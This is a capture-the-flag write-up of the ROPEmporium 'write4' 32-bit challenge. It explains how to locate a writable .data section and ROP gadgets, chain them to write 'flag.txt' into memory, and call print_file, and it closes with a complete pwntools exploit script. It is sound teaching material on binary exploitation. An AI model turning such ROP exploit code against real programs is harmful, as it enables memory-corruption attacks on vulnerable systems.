Writeup of write four [write4] on ROPEmporium
Prerequisites: Basic knowledge of assembly, disassembling tools, the previous challenges, and calling convention
We’re told the following: “A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like ‘flag.txt’) as the 1st argument. The ‘flag.txt’ isn’t present in the binary”
We need a writeable part of memory, because we need to write the string into the binary.
0x080483f0]> iS
nth paddr size vaddr vsize perm name
24 0x00001018 0x8 0x0804a018 0x8 -rw- .data
[Other sections have been removed due to easier readability]
We’re going to write out flag into this section. The section has a size of 8, which is perfect for our payload of 8 characters. Originally I used a different section with a larger size, this caused the string not to be null-terminated, and therefore the payload didn’t work.
Now how are we going to write to this section? That’s our next problem. We’ll need to use a “write/what/where” gadget, such as: mov [reg], reg
The gadget moves the value of reg, into the address pointed to by reg. This is what the [] brackets are for.
We can open the binary with gdb, and look at the usefulGadgets function (addr found with info func)
pwndbg> disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x08048543 <+0>: mov DWORD PTR [edi],ebp
0x08048545 <+2>: ret
We have a gadget that moves the value from ebp into the address pointed to by edi. Now we need a gadget, that can control the values in the edi and ebp registers. If we remember the crucial basic instruction “pop”, this is a way of setting a registers value. (It does also increment the stackpointer, but we don’t care about that right now)
cave@noobpwn:~/binexp/ROP-emperium/write4_32$ ROPgadget --binary write432 | grep pop
0x080485aa : pop edi ; pop ebp ; ret
[Other results removed for readability]
Great! So we have a gadget to set the registers. Now we’ll need to put together the ropchain.
pop_edi_pop_ebp + datasegm + b"flag"
mov_[edi]_ebp
pop_edi_pop_ebp + datasegm+0x4 + b".txt"
mov_[edi]_ebp
print_file + datasegm
It’s important to remember that the gadget works as a: mov destination, source
The reason for our +0x4, is that we can only have 4 bytes in an address at once. 1 address is equal to 32 bit, which is the same as 4 bytes.
Now we just need the print_file call, where we need this datasegm (beginning) to be the argument! And flag!:)
Exploit:
from pwn import *
elfPath="./write432"
context.arch="i386"
print_file=p32(0x08048538)
datasegm=0x0804a018
mov=p32(0x08048543) #mov [edi], ebp
pop=p32(0x080485aa) #pop edi; pop ebp
gdbscript= f"""
c
"""
terminalSetting = ['gnome-terminal', '-e']
context.clear(terminal=terminalSetting)
io = pwnlib.gdb.debug(elfPath, gdbscript = gdbscript)
mnm = cyclic_gen()
mnm = mnm.get(80)
point=cyclic_find(b"laaa", endian="little")
#6161616c is at the return or laaa
def main():
print(io.recvuntil("> "))
payload=b"A"*point #padding
payload+=pop+p32(datasegm)+b"flag"
payload+=mov
payload+=pop+p32(datasegm+0x4)+b".txt"
payload+=mov
payload+=print_file+p32(datasegm) #Call print_file with the memory as argument
io.send(payload)
print(io.recv(2048))
io.interactive()
main()